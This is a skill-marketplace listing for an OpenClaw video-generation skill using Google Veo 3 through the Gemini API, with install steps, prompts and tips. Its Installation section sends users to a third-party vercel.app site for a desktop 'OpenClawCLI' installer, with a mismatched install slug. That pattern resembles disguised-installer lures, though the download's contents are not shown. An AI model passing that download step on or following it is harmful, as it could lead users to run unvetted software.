veo3-gen
Generate and stitch short videos via Google Veo 3.x using the Gemini API (google-genai). Use when you need to create video clips from prompts (ads, UGC-style clips, product demos) and want a reproducible CLI workflow (generate, poll, download MP4, optionally stitch multiple segments).
Why use this skill?
Master video generation with OpenClaw and Google Veo 3. Generate, stitch, and export high-quality AI video clips directly from your CLI.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/thiagoruss0/veo3-genayWhat This Skill Does
The veo3-gen skill integrates the Google Veo 3.x video generation model directly into your OpenClaw workflow. It serves as a specialized wrapper for the Gemini API, allowing you to generate high-quality, professional video clips from simple text prompts. Whether you are creating short-form content for social media, product demonstrations, or artistic visual projects, this skill automates the complex pipeline of generating, polling for status, downloading, and stitching together multiple video segments into a single cohesive MP4 file. It is designed for users who need a programmatic, reproducible CLI workflow for video synthesis.
Installation
To begin using veo3-gen, you must first ensure that the OpenClawCLI is installed on your system. Visit https://openclawcli.vercel.app/ to download the appropriate installer for Windows or macOS. Once the CLI is set up, run the command clawhub install openclaw/skills/skills/thiagoruss0/veo3-genay in your terminal. Ensure that you have ffmpeg installed and available in your system PATH, as this is a strict requirement for concatenating video segments. Additionally, export your GEMINI_API_KEY as an environment variable to authenticate your requests.
Use Cases
- Marketing & Advertising: Rapidly produce 30-second product showcases by generating several 8-second segments that maintain consistent branding.
- Content Creation (UGC): Generate stock-style footage or B-roll for video essays and tutorials without needing expensive camera equipment.
- Prototyping: Visualize conceptual scenes for storyboards or game design documents quickly using text-to-video capabilities.
- Automated Workflows: Integrate video generation into larger batch-processing pipelines where visual assets are needed programmatically.
Example Prompts
- "Generate a 16-second cinematic video of a futuristic coffee shop in Tokyo at night, using the 9:16 aspect ratio for TikTok."
- "Create a product demo for my new leather wallet. Use 3 segments with a consistent style; the prompt should show the wallet on a desk, then a close-up of the texture, and finally the interior pockets."
- "Make a 10-second loop of a mountain landscape with a sunset using the veo-3.1-generate-preview model and keep the style consistent across all clips."
Tips & Limitations
To maximize the quality of your output, always use the --base-style parameter to ensure stylistic continuity, especially when stitching multiple segments. Be aware that Veo 3.1 typically generates clips of approximately 8 seconds each; if you require longer durations, the --segments option is your primary tool. If you encounter a 429 error, check your Google Cloud console to ensure your API key has sufficient quota for video generation. Always use the --use-last-frame flag when concatenating segments to reduce visual "jumps" between clips. Remember that this skill relies on the Gemini API; network connectivity is required for every generation step.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-thiagoruss0-veo3-genay": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, external-api, code-execution
Related Skills
n8n
Manage n8n workflows and automations via API. Use when working with n8n workflows, executions, or automation tasks - listing workflows, activating/deactivating, checking execution status, manually triggering workflows, or debugging automation issues.
Read WeChat local data from SQLite databases. Supports listing contacts, chat sessions, searching messages, and viewing favorites. Use when the user needs to access their own WeChat data stored locally. Requires access to WeChat data directory. Read-only operations only.
coding-agent
Run Codex CLI, Claude Code, OpenCode, or Pi Coding Agent via background process for programmatic control.
seo-optimizer
This skill should be used when analyzing HTML/CSS websites for SEO optimization, fixing SEO issues, generating SEO reports, or implementing SEO best practices. Use when the user requests SEO audits, optimization, meta tag improvements, schema markup implementation, sitemap generation, or general search engine optimization tasks.
jira
Jira API integration with managed OAuth. Search issues with JQL, create and update issues, manage projects and transitions. Use this skill when users want to interact with Jira issues, projects, or workflows. For other third party apps, use the api-gateway skill (https://clawhub.ai/byungkyu/api-gateway).